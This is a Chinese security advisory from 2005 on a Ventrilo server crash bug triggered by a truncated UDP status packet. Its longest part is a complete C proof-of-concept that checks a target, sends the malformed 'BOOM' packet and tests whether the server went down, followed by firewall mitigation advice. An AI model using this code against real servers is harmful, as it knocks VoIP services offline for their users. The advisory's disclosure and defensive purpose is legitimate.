Ventrilo服务器崩溃漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-08-31
Ventrilo服务器崩溃漏洞 发布日期:2005-08-26
更新日期:2005-08-26

受影响系统: 
Ventrilo Ventrilo 2.1.2之后2.3.0之前版本
描述: 
--------------------------------------------------------------------------------
BUGTRAQ  ID: 14644

Ventrilo是广泛使用的VoIP软件,还可用于在线游戏。 

除了用于接受客户端的TCP端口外,Ventrilo服务器还绑定了相同的UDP端口用于处理用户发送的状态请求。控制状态查询的代码中存在漏洞,如果所接收的报文中数据数量少于请求首部所指定的数量,就会导致服务器中断。

例如,正常状态查询的状态首部应包含有16个字节的数据,但如果没有包含数据的话就可以利用这个漏洞。

Windows server的日志文件会显示以下消息:

  ERROR: ServerLoop exception detected. Aborting.

<*来源:Luigi Auriemma (aluigi@pivx.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112483407515020&w=2
*>

测试方法: 
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "ventrilo_udp.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define PORT        3784
#define MAXPCK      32
#define MAXPCKSZ    492
#define TIMEOUT     2
#define RETRY       2



int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("/n"
        "Ventrilo <= 2.3.0 server crash "VER"/n"
        "by Luigi Auriemma/n"
        "e-mail: aluigi@autistici.org/n"
        "web:    http://aluigi.altervista.org/n"
        "/n", stdout);

    if(argc < 2) {
        printf("/n"
            "Usage: %s <host> [port(%hu)]/n"
            "/n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu/n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("/n- check server:/n", stdout);
    if(ventrilo_get_status(sd, 1, "", 0) < 0) {
        fputs("/nError: no reply received, probably the server is not online/n/n", stdout);
        exit(1);
    }

    sleep(ONESEC);

    fputs("/n- send BOOM packet:/n", stdout);
    ventrilo_get_status(sd, 1, "", 1);

    sleep(ONESEC);

    fputs("/n- check server:/n", stdout);
    if(ventrilo_get_status(sd, 1, "", 0) < 0) {
        fputs("/nServer IS vulnerable!!!/n/n", stdout);
    } else {
        fputs("/nServer doesn’t seem vulnerable/n/n", stdout);
    }

    close(sd);
    return(0);
}



int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug) {
    ventrilo_udp_head   *stat;
    int     i,
            len,
            totlen,
            retry;
    u_short id,
            crc;
    u_char  buff[20 + MAXPCKSZ],
            full[MAXPCKSZ * MAXPCK],

  


            *data;

    stat = (ventrilo_udp_head *)buff;
    data = buff + 20;

    strncpy(data, pass, 16);

    stat->zero    = 0;
    stat->cmd     = cmd;
    stat->id      = id = time(NULL);
    stat->totlen  = 16;
    stat->len     = 16;
    stat->totpck  = 1;
    stat->pck     = 0;
    stat->crc     = ventrilo_udp_crc(data, 16);
    stat->datakey = ventrilo_udp_data_enc(data, 16);
    ventrilo_udp_head_enc(buff);

    for(retry = RETRY; retry; retry--) {
        sendto(sd, buff,
            20 + (bug ? 0 : 16),    // BUG exploited here
            0, (struct sockaddr *)&peer, sizeof(peer));
        if(!timeout(sd)) break;
    }
    if(!retry) return(-1);

    i      = 0;
    totlen = 0;
    memset(full, ’ ’, sizeof(full));    // in case of packet loss

    for(;;) {
        len = recvfrom(sd, buff, sizeof(buff), 0, NULL, NULL);
        ventrilo_udp_head_dec(buff);

        if(stat->id != id) continue;

        if((len < 20)                 ||
           (stat->totpck < stat->pck) ||
           (stat->totpck > MAXPCK)    ||
           (stat->len    > MAXPCKSZ)) {
            fputs("/nError: wrong or incomplete reply received/n", stdout);
            return(0);
        }

        len    = stat->len;
        totlen += len;
        if(totlen > sizeof(full)) break;

        ventrilo_udp_data_dec(data, len, stat->datakey);
        memcpy(full + (stat->pck * MAXPCKSZ), data, len);

        if(++i == stat->totpck) break;
        if(totlen == stat->totlen) break;
        if(timeout(sd) < 0) break;
    }

    crc = ventrilo_udp_crc(full, totlen);
    if(ventrilo_udp_crc(full, totlen) != stat->crc) {
        printf("- wrong checksum: mine is %04x while should be %04x/n/n", crc, stat->crc);
    }

    fwrite(full, totlen, 1, stdout);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct hostent *hp;
    u_int  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("/nError: Unable to resolv hostname (%s)/n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("/nError");
        exit(1);
    }
#endif

建议: 
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在防火墙设置过滤,拒绝状态服务所绑定端口(默认为3784)的UDP报文。

厂商补丁:

Ventrilo
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ventrilo.com/